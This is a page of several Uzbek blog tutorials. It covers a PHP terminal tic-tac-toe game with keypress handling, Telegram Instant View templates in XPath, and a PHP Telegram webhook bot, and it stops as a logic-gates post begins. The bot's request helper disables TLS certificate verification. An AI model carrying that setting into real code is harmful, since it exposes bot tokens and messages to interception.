Yuqoridagi massiv va o'zgaruvchilar orqali bemalol boshlang'ich o'yin taxtasini yaratishimiz mumkin. Demak ko'p o'lchovli massivni o'yinga mos 3x3 panjaraga aylantirishimiz kerak. O'yin tatxtasini chop etish jarayonida faol katak va o'yinchi o'zgaruvchilari ham hisobga olinishi kerak. Bu o'yinning keyingi jarayonlaridagi o'zgarishlarni real vaqtda kuzatishni belgilab beradi.

Quyidagi funksiya `$stage`, `$activeCell` va `$player` o'zgaruvchilaridan o'yin taxtasi matnini ekranga chiqaradi.

```php
// game.php fayli
<?php
function renderGame( $state, $activeCell, $player ) {
	$output = '';

  	$output .= 'O\'yinchi: ' . $player . PHP_EOL;

  	foreach ( $state as $x => $line ) {
    	$output .= '|';

    	foreach ( $line as $y => $item ) {
      		switch ( $item ) {
        		case '';
          			$cell = ' ';
          		break;
        		case 'X';
          			$cell = 'X';
          		break;
        		case 'O';
          			$cell = 'O';
          		break;
      		}

      		$cell = ( $activeCell[ 0 ] == $x && $activeCell[ 1 ] == $y ) ? '-'. $cell . '-' : ' ' . $cell . ' ';

			$output .= $cell . '|';
    	}

    	$output .= PHP_EOL;
  	}

	return $output;
}

$state = [
  [ '', '', '' ],
  [ '', '', '' ],
  [ '', '', '' ],
];

$player = 'X';
$activeCell = [ 0 => 0, 1 => 0 ];

echo renderGame( $state, $activeCell, $player );
```

```bash
$: php game.php
O'yinchi: X
|- -|   |   |
|   |   |   |
|   |   |   |
```

Funksiya faqatgina o'yin taxtasini chop etish vazifasini bajaradi xolos, ma'lumotlar ekranga chiqarilgach script o'z ishini tugatadi. Keyingi jarayonda o'yin holatini bir xil buyruq satrida saqlab borishi va chop etishini ta'minlash kerak. Ushbu yechimni cheksiz sikl yordamida satrni tozalash va yuqoridagi funksiya yordamida o'yin taxtasini qayta-qayta chop etish orqali hal qilishimiz mumkin.

```php
while (1) {
	system( 'clear' ); // buyruq satrini tozalash
  	echo renderGame( $state, $activeCell, $player ); // o'yin taxtasini chop etish
}
```

Endilikda o'yinni jonlantirish uchun o'yin taxtasi bo'ylab harakatlanish va harakatlarini tanlashga imkon berish yechimi kerak. Yechimni [1-qism](1-qism.htm) dagi amaliyot orqali amalga oshiramiz faqat yana bir necha amallar ham ushbu tarkibga kiritilishi lozim.

1. Foydalanuvchi harakatlanish tugmachalarini kiritishiga qarab faol katakchani mos ravishda almashtirish va o'yin taxtasi kataklari uchun chegarani nazorat qilish.
2. Agar foydalanuvchi ENTER tugmasini bossa, joriy faol katak boʻsh boʻlsa faol o'yinchi uchun katakni token bilan toʻldirish va faol o'yinchini almashtirish.

```php
function move( $stdin, &$state, &$activeCell, &$player ) {
	$key = fgets( $stdin );
  	if ( $key ) {
		$key = translateKeypress( $key );
    	switch ($key) {
      		case "UP":
        		if ( $activeCell[0] >= 1 ) $activeCell[0]--;
        	break;
      		case "DOWN":
        		if ( $activeCell[0] < 2 ) $activeCell[0]++;
        	break;
      		case "RIGHT":
        		if ( $activeCell[1] < 2 ) $activeCell[1]++;
        	break;
      		case "LEFT":
        		if ( $activeCell[1] >= 1 ) $activeCell[1]--;
        	break;

      		case "ENTER":
      		case "SPACE":
        		if ( $state[ $activeCell[ 0 ] ][ $activeCell[ 1 ] ] == '' ) {
          			$state[ $activeCell[ 0 ] ][ $activeCell[ 1 ] ] = $player;
          			$player = ( $player == 'X' ) ? 'O' : 'X';
        		}
        	break;
    	}
  	}
}
```

Yuqoridagi `move()` funksiyasimizni faylga qo'shib asosiy sikl ichidagi `renderGame()` funksiyasidan oldin chaqiramiz, shunda o'yin taxtasi foydalanuvchi tomonidan kiritilgan har qanday o'zgarishlar bilan yangilanib boradi va o'yinchilar o'yin taxtasi bo'ylab harakatlanishlari va tokenlarni joylashtirishlari mumkin bo'ladi.

```php
$stdin = fopen( 'php://stdin', 'r' );
stream_set_blocking( $stdin, 0 );
system( 'stty cbreak -echo' );

while ( 1 ) {
  system( 'clear' );
  move( $stdin, $state, $activeCell, $player );
  echo renderGame( $state, $activeCell, $player );
}
```

O'yinning yakuni sifatida unda g'alaba holatlarini ham `$state` massivi orqali aniqlashimiz va ekranga chiqarishimiz lozim. Aks holda o'yin go'liblarsiz qolib ketishi mumkin.

G'olibni aniqlash uchun vertikal va gorizontal pozitsiyalarda ketma-ket uchta tokenlardan iborat qiymat mavjudligini tekshirishimiz kerak. Agar ushbu pozitsiyalar bo'yicha hech qanday natija topilmasa o'yin durang deb e'lon qilinadi.

```php
function isWinState( $state ) {
  	foreach ( [ 'X', 'O' ] as $player ) {
		foreach ($state as $x => $line) {

      		// Gorizontal qator mavjud.
      		if ( $state[ $x ][ 0 ] == $player && $state[ $x ][ 1 ] == $player && $state[ $x ][ 2 ] == $player ) exit( $player . ' yutdi' );

      		foreach ( $line as $y => $item ) {
      			// Vertikal qator mavjud.
        		if ( $state[ 0 ][ $y ] == $player && $state[ 1 ][ $y ] == $player && $state[ 2 ][ $y ] == $player ) exit( $player . ' yutdi' );
      		}
    	}

    	// Diagonal chiziq yuqoridan, chapdan, pastdan o'ngga shaklda topildi.
    	if ( $state[ 0 ][ 0 ] == $player && $state[ 1 ][ 1 ] == $player && $state[ 2 ][ 2 ] == $player ) exit( $player . ' yutdi' );

     	// Diagonal chiziq pastdan, chapdan, yuqoriga o'ngga shaklda topildi.
    	if ( $state[ 2 ][ 0 ] == $player && $state[ 1 ][ 1 ] == $player && $state[ 0 ][ 2 ] == $player ) exit( $player . ' yutdi' );
    }

  	// Durang holati
  	$blankQuares = 0;
  	foreach ( $state as $x => $line ) {
    	foreach ( $line as $y => $item ) {
      		if ( $state[ $x ][ $y ] == '' ) $blankQuares++;
    	}
  	}

  	// Agar bo'sh kataklar qolmasa va yuqoridagi shartlar bajarilmasa durang deb e'lon qilish.
  	if ( $blankQuares == 0 ) exit( 'Durang natija!' );
}
```

Cheksiz sikl uchun o'yin g'olibini aniqlash funksiyasini qo'shish

```php
while( 1 ) {
  	system( 'clear');
  	move( $stdin, $state, $activeCell, $player );
  	echo renderGame( $state, $activeCell, $player );
	isWinState( $state ); // g'olibni aniqlash
}
```

Yuqorida ishlab chiqilgan **Tic Tac Toe** o'yini ozgina qo'pol shaklda bo'lsada bizga keyingi qismlarda boshqa o'yinlarni ham ko'rib chiqishimizga yordam beradi. Bu shunchaki o'yin konsepsiyani tushunish va phpning foydalanilmagan imkoniyatlaridan foydalanish xolos.

O'yin kodi to'liq variantda: [Github](https://gist.github.com/yetimdasturchi/ba3fd95da1f5eadd108060e79fef381a)


Buyruqlar qatoriga mos keladigan o'yinlardan eng soddalaridan biri bu Tic Tac Toe bo'lsa kerak...

Php dasturlash tilida o'yin yaratish: 2-qism


Yaqinda youtubeda eski kompyuterlar haqidagi hujjatli filmni ko'rayotganimda buyruq satri (cli) yordamida yaratilgan o'yinlar e'tiborimni tortdi. Bu matn asosida ishlaydigan yoki savollar berib boradigan emas balkim real vaqtda foydalanuvchi buyruqlarini takrorlovchi o'yin edi.

Demakki o'ttiz yoshli kompyuterda mumkin bo'lsa, unda PHP tili ham bunday ishni eplay olishi aniq!

Ko'pchilik vazifaning og'riqli deb biladigan nuqtasi real vaqt rejimida buyruq satrida klaviaturadan kirishni qanday aniqlashni hal qilishdir. PHP dasturlash tilida php://stdin kiritish oqimi mavjud. Ushbu oqim va `fgets()` funksiyasi yordamida biz bemalol foydalanuvchidan kelayotgan kiritish hodisalarini aniqlay olamiz.

```php
// input.php fayli
<?php

$stdin = fopen( 'php://stdin', 'r' ); // kiritish oqimini ochish
stream_set_blocking( $stdin, 0 ); // oqimni to'xtovsiz o'qish uchun kiritish satriga to'siq o'rnatish
system( 'stty cbreak -echo' ); // strdan alohida belgilarni o'qishni belgilash

/***	Satrga kiritilgan maxsus belgilarni o'girib olish	***/

function translateKeypress( $string ) {

  	switch ($string) {
  		// Yuqoriga harakatlantirish tugmasi
    	case "\033[A":
      		return "UP";
    	// Pastga harakatlantirish tugmasi
    	case "\033[B":
      		return "DOWN";
    	// O'ngga harakatlantirish tugmasi
    	case "\033[C":
      		return "RIGHT";
    	// Chapga harakatlantirish tugmasi
    	case "\033[D":
      		return "LEFT";
    	// ENTER (kiritish) tugmasi
    	case "\n":
      		return "ENTER";
    	// Bo'sh joy tugmasi
    	case " ":
      		return "SPACE";
    	// Satrdan belgini o'chirish tugmasi
    	case "\010":
    	case "\177":
      		return "BACKSPACE";
    	// Tabulator tugmasi
    	case "\t":
      		return "TAB";
    	// Bekor qilish tugmasi
    	case "\e":
      		return "ESC";
   	}

  	return $string;
}

// hodisalarni doimiy kuzatish uchun cheksiz sikl
while ( 1 ) {
	$keypress = fgets( $stdin ); // o'qimni o'qish

  	// oqimda ma'lumot mavjud bo'lsa maxsus belgilarni o'girish orqali yangi qatorga chop etish
  	if ( $keypress ) {
    	echo translateKeypress( $keypress ) . " -> tugmasi bosildi" . PHP_EOL;
  	}
}
```

Yuqoridagi koddan ko'radigan bo'lsak, kod biz buyrular qatoriga kiritgan har bir kiritish hodisasini o'qib aynan qaysi tugma bosilganini yangi qatorga chop etadi.

```bash
$: php input.php
a -> tugmasi bosildi
d -> tugmasi bosildi
a -> tugmasi bosildi
s -> tugmasi bosildi
d -> tugmasi bosildi
TAB -> tugmasi bosildi
UP -> tugmasi bosildi
DOWN -> tugmasi bosildi
RIGHT -> tugmasi bosildi
LEFT -> tugmasi bosildi
UP -> tugmasi bosildi
DOWN -> tugmasi bosildi
RIGHT -> tugmasi bosildi
LEFT -> tugmasi bosildi
TAB -> tugmasi bosildi
ESC -> tugmasi bosildi
ESC -> tugmasi bosildi
```

Demak bizda o'yinni boshqarish uchun muhim qismlardan biri bo'lgan tugmalardan hodisalarni qabul qiluvchi qism tayyor.


Yaqinda youtubeda eski kompyuterlar haqidagi hujjatli filmni ko'rayotganimda buyruq satri (cli) yordamida...

Php dasturlash tilida o'yin yaratish: 1-qism


Hmmm, instant view iborasini bir lahzali ko'rish yoki tezkor ko'rish deb tarjima qilish kerakmikan? 🧐 O'zbek tili albatta bunday iboralarni tarjima qilishda odamni o'ylantirib qo'yadi. Shu sababli keling yaxshisi ingliz tilidagi versiya bilan atab qo'yaversak.

Instant view iborasini bugungi kunda odamlarga kontent ulashuvchi ko'plab platformalarda kuzatish mumkin. Facebook, medium, heldocs kabilarda ushbu imkoniyat maqolalarni o'qish uchun ishlasa, google play marketda ilovalarni qurilmaga o'rnatmay turib ishlatish imkonini beradi. Demakki instant view vazifa jihatdan kontentni foydalanuvchilarga ortiqcha harakatlarsiz tezkorlik bilan yetkazishni ta'minlaydi.

Telegramda ham bunday funksiya mavjud. Ayni damda ios, android va macos operatsion tizimlari ushbu funksiyani o'zlaridagi telegram ilovasi orqali qo'llay oladi.

## Bu qanday ishlaydi?

Instant viewning telegramdagi asosiy vazifasi foydalanuvchilarga ilovadan tashqi muhitdagi dasturlardan foydalanmay turib turli ulashilgan havolalar kontentini ko'rish imkonini beradi.

Ya'nikim, siz biror bir havolani ulashganingizda telegram uni o'zidagi instant view mavzularini aniqlovchi bot orqali tekshiradi. Agarda bot ushbu havola manziliga tegishli mavzuni topsa undagi belgilangan shartlar bo'yicha kontentni originalidan qirqib telegramning o'z serveriga joylashtiradi. Shundan so'ng, foydalanuvchilar ushbu havolaga o'tishga uringanda telegram ilovasi kontentni havola joylashgan serverdan emas balkim telegramning o'zining tezkor serveridan uziladi. Bu juda ham tez yuz beradigan jarayonki foydalanuvchilar xuddiki offline ma'lumotdan foydalanayotgan kabi ulanish davriyligini his etishmaydi.

## Instant mavzular qanday yaratiladi?

Bu jarayonni amalga oshirish uchun telegram o'zining https://instantview.telegram.org/my/ sahifasida maxsus tahrirlovchi ilova yaratgan. Har kim o'zining telegram akkounti orqali avtorizatsiya amalga oshirib kerakli havolalar uchun mavzular yaratishi mumkin.

![instant view tahrirlash muhiti](https://i.ibb.co/JzthKcj/photo-2022-07-07-00-48-53.jpg)

### Mavzularni tahrirlash

https://instantview.telegram.org/my/ sahifasiga kirganimizdan so'ng sahifaning yuqori qismida mavzu yaratish uchun havola manzili kiritish so'raladi. Kerakli havola kiritilgach uchta oynadan iborat tahrirlovchi ilovani chiqariladi.

![instant mavzularni tahrirlash oynasi](https://i.ibb.co/kBt5Bh6/download1.jpg)

Telegram velosipedni qayta ixtiro qilib o'tirmasdan mavzularni ishlab chiqish uchun **xpath** tilidan foydalangan. Xpath bu xml hujjatlarni qayta ishlash uchun ishlab chiqilgan ifodalash tili. Ushbu til satrlar, raqamlar, mantiqiy amallar, sana va vaqtni taqqoslash, elementlarni manipulatsiya qilish kabi imkoniyatlarni bera oladi. Ozgina htmldan xabardor odam uchun unchalik ham muammo emas. Jumladan ushbu ifodalash tili bugungi kunda javascript, php, python, java, c kabi ko'plar dasturlash tillari doirasida qo'llab kelinadi. Yanada batafsil https://www.w3.org/TR/xpath/all/ havolasi orqali ma'lumot olishingiz mumkin.

### Koding

Demak telegram biz bergan havoladan kerakli ma'lumotlarni aniqlashi uchun biz unga shartlarni berishimiz kerak. Instant view uchun asosiy kerak bo'lgan ma'lumotlar bu sarlavha, sahifa muallifi, maqola yoki boshqa bir ma'lumot kontenti hisoblanadi. Ushbu ma'lumotlarni yetkazish uchun esa yuqorida aytilganidek xpathdan foydalanamiz. Buning oson bir yo'li mavjud. Google chrome brauzeridagi elementlarni tekshirish oynasi (Inspect elements yoki devtools). Sahifadagi kerakli element ustiga bosib kontekst menudan inspect element bosilganda dev tools bizni aynan o'sha element tahrirlash qismiga olib boradi. Element ustiga kontekt menyu ochilganda `Copy->Copy Xpath` bo'limini tanaylmiz va sahifa uchun tayyor selektor mavjud bizda.

![xpath](https://i.ibb.co/PMmgTjw/photo-2022-07-07-01-14-36.jpg)

Demak sarlavha uchun:

```xpath
title: /html/body/main/div/h1
```

Maqol kontenti uchun:

```xpath
body: //div[has-class("w")]
```

Maqola muallifi haqida ma'lumot berish:

```
author: "Yetim dasturchi"
author_url: "https://t.me/yetimdasturchi"
```

E'tibor bergan bo'lsangiz yuqoridagi misolda xpath o'rniga oddiy stringdan foydalanilgan. Agarda qaysidir elementlar mavjud bo'lmasa ularni string yoki boshqa bir datatype bilan ham to'ldirsangiz bo'ladi.

### Mavzularni yanada kengaytirish

Yuqorida keltirilgan xpath orqali faqat sarlavha, muallif va kontentni belgiladik xolos. Lekin millionlab web sahifalar orasidagi elementlar uchun bo'gan shartlar doim ham yuqoridagi holatga mos kelmasligi mumkin. Ya'ni qaysidir elementni mavjudligini tekshirish yoki boshqa bir elementlarni olib tashlash kabi. Quyidagi jarayonda aynan shularni ko'rib chiqamiz.

E'tibor bergan bo'lsangiz mendagi blogda (manu.uno) maqola sarlavhasi va kontenti aynan bitta `<div class"w"></div>` element ichida joylashgan. Instant view sarlavhani kontentda takrorlamasligini ta'minlash uchun xpathdagi `@remove` funsksiyasidan foydalanishimiz mumkin.

```
@remove:$body//a[contains(@title,"orqaga")]
```

Biz `$body` uchun allaqachon div element kontentini kiritgan edik. Yuqoridagi holatda endi `$body` o'zgaruvchisi ichidan sarlavha o'zgaruvchisi (`@title`) va "orqaga" (blogda bir ortga harakatlanish) kontentida ishtirok etgan giperhavolani o'chirish kiritildi.

Yoki to'g'ridan to'g'ri `xpath` (element) orqali belgilash:

```
@remove:$body//h1[1]
```

Hali ko'ngildagidek chiqmadimi?

![meme](https://i.ibb.co/0jzRpZ9/image-3.png)

Kontentni qayta ishlagandan so'ng u uchun muqova rasmini unutdik albatta. Bu jarayondagi oson yechim birinchi uchragan rasmni muqova uchun olish hisoblanadi:

```
cover: $@
```

Mavzularni tekshirish jarayonida foydalanuvchi tomonidan kiritilgan havolada har doim ham maqolaga tegishli kontent keltirilmasligi mumkin. Masalan izlash sahifasi yoki boshqa bir shunga o'xshash dinamik sahifalar. Ushbu jarayonda xpathdagi exists funksiyasi bizdagi muammoni hal qilib bera oladi.

`<div class"w"></div>` elementi mavjud bo'lsa jarayonni amalga oshirish:

```
?exists: //div[@class="w"]
```

To'liq mavzu:

```xpath
title:  $body/html/body/main/div/h1
author: "Yetim dasturchi"
author_url: "https://t.me/yetimdasturchi"
cover: $@

body: //div[has-class("w")]
@remove:$body//a[contains(@title,"orqaga")]
@remove:$body//h1[1]
@remove:$body//blockquote[1]
@remove:$body//ul[@class="table-of-contents"]
@remove:$body//a[@class="heading-permalink"]
```

### Sahifani kuzatish

Mavzu to'laqonli kiritilgach tahrirlash oynasining yuqori o‘ng burchakdagi TRACK CHANGES havolasini bosing. Shundan so'ng bot mavzuni o‘zgartirgandan so‘ng paydo bo‘ladigan xatolar va o‘zgarishlar uchun ushbu sahifani kuzatib borishni boshlaydi.

### Yangi havolani ulashish

Instant viewni foydalanuvchilarga yetkazish uchun quyidagi formatdagi havoladan foyalanishingiz kerak:

```
https://t.me/iv?url={%URL%}&rhash={%RHASH%}
```

Misol:

```
https://t.me/iv?url=https://manu.uno/blog/deepin-linux.htm&rhash=51aed3cfea33c
```

Instant viewda o'ndan ortiq sahifalar qo'shganingizdan so'ng, "Submit template" tugmasini bosish orqali mavzuni to'liq domen uchun e'lon qilishingiz mumkin. Telegram administratsiyasi mavzuni tasdiqlagandan so'ng foydalanuvchilar tomonidan telegramda uzatilgan sizning domeningizga qarashli har qanday havola instant view bot orqali avtomatik tekshiruvni boshlaydi.

## Instant view qanday holatlar uchun arzimaydi?

Instant View mavzular yaratish faqat statik tarkibga ega sahifalar uchun foydalidir. Misol:

- Blog postlar
- Yangiliklar
- Wiki sahifalar
- Qo'llanmalar
- Turli xildagi mahsulot tavsiflari

---

Qanday sahifalar uchun arzimaydi:

- Ruknlar sahifasi
- Qidiruv natijalari
- Forumlar va sharhlar
- Har qanday dinamik yaratilgan sahifalar (masalan, mening asosiy blog sahifam kabi)
- Foydalanuvchi bilan muloqot qilish uchun belgilangan sahifalar (qayta aloqa sahifasi)
- Avtorizatsiya sahifalari

## Instant viewning audit uchun ta'siri

Agarda siz kuzatuvchilarga asosiy maqsad sifatida faqat ma'lumot berishni ko'zlagan bo'lsangiz instant view bu ajoyib imkoniyat. O'qish uchun juda qulay bu. Lekin siz maqola boshida aytilganidek ushbu sahifalar telegram serverida keshlanadi va foydalanuvchilar sizdagi instant havoladan foydalanganda asosiy sahifa uchun hostlar hisoblanmaydi.


Instant view vazifa jihatdan kontentni foydalanuvchilarga ortiqcha harakatlarsiz tezkorlik bilan yetkazishni ta'minlaydi...

Telegram instant view nima va qanday ishlaydi?


Chat botlar odamlarning texnologiya bilan o'zaro munosabatida inqilob qilmoqda. So'nggi yillarda ularning ishlab chiqishdagi soddaligi turli sohalar foydalanuvchilar tomonidan qabul qilishi jarayonini ancha ildamladi.

Ayniqsa Pavel Durov bu sohada katta burilish yasay oldi. Telegram messengeri doirasida bugungi kunda ishlab chiqilgan yuz minglab va ularda foydalanadigan millionlab userlar mavjud.

## Chat botlar nimalar qila oladi?

1. Avtomatlashtirilgan tizimlarni joriy etish.
2. Tarmoqlar orqali to'lovlarni amalga oshirish.
3. Ijtimoiy xizmatlarni tashkil etish. Umumiy manfaatlar yoki yaqinlik asosida suhbatdoshlarni bir tomonlama inson omilisiz amalga oshirish.
4. Kundalik turmush tarzi uchun as qotadigan turli dasturiy mahsulotlarning ixcham versiyalarini yaratish
5. Umuman olganda chat botlar juda ko'p vazifalarni bajara oladi. Faqatgina ularning ishlash prinsipini bilish va dasturiy qismini ishlab chiqish uchun mantiq yetarli bo'lsa bas.

## Bu qanday ishlaydi

Aslida chat botlar bugungi kundagi juda ko'plab platformalarda mavjud. Jumladan: facebook, wahatsapp, google...
Lekin istisno qilib aytish kerakki bugungi kunda bular orasida eng yetakchisi telegram hisoblanadi.

Durov mahsulotida o'zgachalik shundaki botlar yaratish uchun alohida akkount yaratishlar talab qilinmaydi, oddiy foydalanuvchi akkounti orqali amalga oshiriladi bu. Foydalanuvchilar ham botlar bilan ikki usulda ya'ni shaxsiy xabarlar yoki guruhlar orqali o'zaro aloqada bo'lishlari mumkin. Shuningdek kanallar bilan ishlay olish qobiliyatiga ham ega.

Bot ishlash jarayoni esa juda oddiy. Foydalanuvchilar tomonidan yuborilgan xabarlar, buyruqlar va so'rovlar dasturiy ta'minotga uzatiladi. Shundan so'ng telegram vositachi serveri orqali soddalashtirilgan HTTPS-interfeys yordamida bot boshqaruv amaliyotlarini o'tkazish mumkin.

Odatda dasturiy ta'minotga bog'lashning ikki usuli mavjud va ikki usul ham pinsip jihatdan bir-biridan farq qilmaydi.

### Birinchi usul

Webhook texnologiyasi. Bunda malum bir hostingga o'rnatilgan web dasturga telegram botga yanqilanishlar kelgan vaqtda telegram tomonidan chaqiruv amalga oshiriladi.

### Ikkinchi usul

Long polling. Bu usul ham yuqoridagigan farq qilmaydi. Faqatgina bu safar telegram serveri sizga emas, yangiliklarni olish uchun siz telegram serveriga murojaat qilasiz. Odatda bu jarayon kattaroq so'rovlar orqali ishlaydigan botlarda ishlaydi. Chunki telegram ayni damda bir sekund uchun botda webhook orqali faqat qirq dona xabarni qayta ishlay oladi.

## Dasturiy qism

Chat botlar ishlab chiqish uchun qaysi tilda amalga oshirish ahamiyatsiz. Muhimi http so'rovlar amalga oshirish imkoni mavjud bo'lsa bas. Python, php, c, c++ va shell kabi istalgan tilda ishlab chiqish mumkin albatta. Asosiysi so'rov yuborish uchun sizda api token bo'lsa bas.

### Bot yaratish

Api token olish va umuman olgan bot uchun userlar yaratisg uchun telegramda @BotFather dan foydalaniladi. Botdan foydalanish juda oddiy. Shunchaki /start buyrug'idan so'ng /newbot, bot nomi va bot uchun username kiritish kifoya. Shunda so'ng botfather tomonidan sizga api token beriladi.

### HTTP so'rovlar

So'rovlar `https://api.telegram.org/botTOKEN/Metod` ko'rinishida amalga oshiriladi. POST yoki GET turlari orqali amalga oshirish mumkin albatta.

Metodlar esa bu bot uchun yuklatilgan vazifalarni anglanadi.

Misol uchun **getMe** metodida bot haqidagi ma'lumotlarni olish:

```
https://api.telegram.org/botTOKEN/getMe
```

```json
{
  "ok": true,
  "result": {
    "id": 000000000,
    "is_bot": true,
    "first_name": "Bot nomi",
    "username": "username_bot",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": true
  }
}
```

Yoki biror bir foydalanuvchiga xabar yuborishni ko'raylik:

_Eslatman: Foydalanuvchi bot uchun start buyrug'ini bergan bo'lishi lozim_

```
https://api.telegram.org/botTOKEN/sendMessage?chat_id=000000000&text=Salom+dunyo
```

Yuqoridagi so'rovda **chat_id** bu xabar yuborish kerak bo'lgan foydalanuvchining telegram idenfikatori. **text** xabar matni.

### Webhook

Webhook uchun sizda telegram va veb server orasida shifrlangan aloqa bo'lishi lozim. Ya'ni ssl sertifikat. 80-portga joylashtirilgan web ilovani (masalan php script) ni telegram bot sozlamasiga kiritish lozim. Shundan so'ng botdagi yangilanishlar shu manzildagi scriptga stdin orqali kelib tushadi va so'rovlar shartlar orqali javob berish mumkin.

Webhookni sozlash:

```
https://api.telegram.org/botTOKEN/setWebhook?url=https://test.dev/bot.php
```

Webhook orqali yangilanish dasturga json formatida keladi. Shundan so'ng siz jsonni o'zingizga maqul variantda massivga o'tkazib massiv kontentiga qarab bot amaliyotini amalga oshirasiz.

Misol ( izohlar asosida berilgan ):

```
Array
(
    [update_id] => 0000000000
    [message] => Array
        (
            // Xabar indenfikatori
            [message_id] => 1
            // Xabar kim tomonidan yuborilgan?
            [from] => Array
                (
                    [id] => 0000000000
                    [is_bot] =>
                    [first_name] => Eshonov
                    [last_name] => Bahodir
                    [username] => lotoreya
                    [language_code] => en
                )
			// Bot xabarlashuvni amalga oshirayotgan chat
            [chat] => Array
                (
                    [id] => 0000000000
                    [first_name] => Eshonov
                    [last_name] => Bahodir
                    [username] => lotoreya
                    [type] => private
                )
			// Xabar yuborilgan vaqt
            [date] => 1656784173
            // Foydalanuvchidan yuborilgan matn
            [text] => /start
            // Xabar tasnifi
            [entities] => Array
                (
                    [0] => Array
                        (
                            [offset] => 0
                            [length] => 6
                            [type] => bot_command
                        )

                )

        )

)
```

### Long polling

Ushbu usulda avval ayganimdek telegram sizga emas siz yangilanishlarni qabul qilish uchun telegramga so'rov berasiz.

```
https://api.telegram.org/botTOKEN/getUpdates
```

Yuqoridagi so'rovdan so'ng telegram api sizga xuddi webhookdagidek massiv qaytaradi. Faqatgina bunda ko'p o'lchovli massiv ya'ni bitta xabar alohida massiv emasu barcha yangi xabarlar umumiy massivda keladi.

### Webhook va Long polling farqlari

Webhok qulayliklari
: Bir tomonlama aloqa
: Doimiy yangilanishlarni tekshirib turish shart emas
: Tezkorlik
: Individual muloqot

Webhook noqulayliklari
: Katta auditoriya ega botlarda botning tez-tezt blok holatiga tushib qolishi
: Xuddi ddos kabi web serverga tushadigan yuklamalar (shu narsa sabab ko'plab hostinglar telegram apini bloklaydi o'zida)

---

Long polling qulayliklari
: Katta auditoriya bilan ishlay olish
: Bot dasturini istalgan qurilmada ishga tushira olish. Uydagi kompyuterda ham.

Long polling noqulayliklari
: Yangilanishlari tekshirib turish lozim
: Bot uchun doimiy serverlar topish qiyinroq
: Yangilanishlarni tekshirish vaqti webhookga nisbatan sekinroq ketadi. Webhook kabi ko'p oqimlarda ishlay olmaydi.

## Misol

Quyidagi bot dasturchi PHP dasturlash tilida yozilgan. Ushbu kodni istalgan veb hostingga joylab, webhook orqali bot qanday ishlashini kuzatishingiz mumkin.

```php
<?php

$bot_token = ''; // Bot tokeni

/*
	Http so'rovlarni curl orqali amalga oshirish
*/
function request($method, $content=[]) {
	$url = 'https://api.telegram.org/bot' . $GLOBALS['bot_token'] . '/' . $method;
	$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json"));
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($content));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
    return json_decode($result, TRUE);
}

/*
	sendChatAction metodini amalga oshirish. Bu bot yozmoqda yoki media fayl yubormoqda kabi jarayonni simulatsiya qilish uchun
*/

function sendChatAction( $chat_id, $action ){
	$actions = array(
        'typing',
        'upload_photo',
        'record_video',
        'upload_video',
        'record_audio',
        'upload_audio',
        'upload_document',
        'find_location',
    );
    if ( in_array( $action, $actions ) ) {
        return request( 'sendChatAction', compact( 'chat_id', 'action' ) );
    }

    return FALSE;
}

/*
	Xabar yuborish
*/

function sendMessage($chat_id, $text){
	return request('sendMessage', compact( 'text', 'chat_id' ));
}

/*
	Rasm yuborish
*/

function sendPhoto($chat_id, $photo, $caption = ''){
	return request('sendPhoto', compact('chat_id', 'photo', 'caption') );
}

/*
	Webhook orqali kelgan yangilanishlarni $updates o'zgaruvchisiga qabul qilish
*/
$updates = json_decode(file_get_contents('php://input'), TRUE);
// Debug uchun yangilanishlarni dasturchi akkauntiga yuborish
// sendMessage('dasturchi_idsi', print_r($updates, TRUE));

/*
	Yangilanishlarda xabar matni mavjud bolsa xabar kontektiga qarab shartlarni bajarish.
	Eslatma: ushbu misolda faqat xabarlarni qayta ishlash ko'rsatilgan. Foydalanuvchidan kelgan medialar yoki boshqa bir xabar turlari uchun massivda message kalitidan boshqa kalitlar keladi. Jarayon ham shunga qarab o'zgaradi.
*/

if ( !empty( $updates['message'] ) ) {
	$text  = $updates['message']['text']; //Foydalanuvchidan kelgan xabar
	$chat_id  = $updates['message']['chat']['id']; //Foydalanuvchi idenfikatori


	if( $text == '/start' || preg_match('/\/start@(.+)/', $text) ){
		/*
			Agarda xabar /start matniga mos kelsa. preg_match guruhdan kelgan xabarlarni regex orqali tekshirish uchun. Ya'ni guruhdan kelgan xabarlar /	start@guruh_usernamesi shaklida bo'ladi.
		*/
		sendChatAction( $chat_id, 'typing' ); // Foydalanuvchiga bot yozmoqda hodisasini yuborush
		sendMessage( $chat_id, 'Birinchi telegram botingizga xush kelibsiz. /me buyrug‘i orqali men haqimda ma’lumot olishingiz mumkin.' ); // Foydalanuvchiga bot tomonidan xabar yo'llash.
	}else if( $text == '/me' || preg_match('/\/me@(.+)/', $text) ){
		/*
			Agarda xabar /me buyrug'iga mos kelsa.
		*/
		sendChatAction( $chat_id, 'upload_photo' ); // Foydalanuvchiga bot rasm yubormoqda hodisasini yuborush

		$photo_url = "https://i.ibb.co/jzRQt3f/photo-2022-06-14-03-06-21.jpg"; //rasm manzili
		$caption = "Men yetim dasturchi tomonidan yozilgan tes botman. Menga o'xshagan botlarni ishlab chiqish haqida @yetimdasturchi telegram kanalida ko'proq ma'lumot olishingiz mumkin.";

		sendPhoto( $chat_id, $photo_url, $caption );  // Foydalanuvchiga bot tomonidan rasm yuborish
	}else{
		sendChatAction( $chat_id, 'typing' );
		sendMessage( $chat_id, 'Kechirasiz, men sizni tushuna olmadim. Mening vazifalarim doirasiga siz buyruqga javob berish kiritilmagan.' );
	}
}
```


Chat botlar odamlarning texnologiya bilan o'zaro munosabatida inqilob qilmoqda. So'nggi yillarda ularning ishlab chi...

Telegram chat botlar. Bu qanday ishlaydi?


Avvalgi [maqolada](https://manu.uno/blog/nol-va-birdan-assemblergacha.htm) 0 va 1 soni , oz bo'lsada kompyuter ishlash prinsipi haqida so'z olib borgan edim.

Endi esa mantiqiy eshiklar haqida ham so'zlashsak.

**Mantiqiy eshik** - bu kirish pulsining raqamli zanjirlarda chiqishga o'tishi mumkinligini aniqlaydigan oddiy kommutatsiya sxemasi bo'lib ko'plab mantiqiy operatsiyalarni bajarish uchun xizmat qiladi.

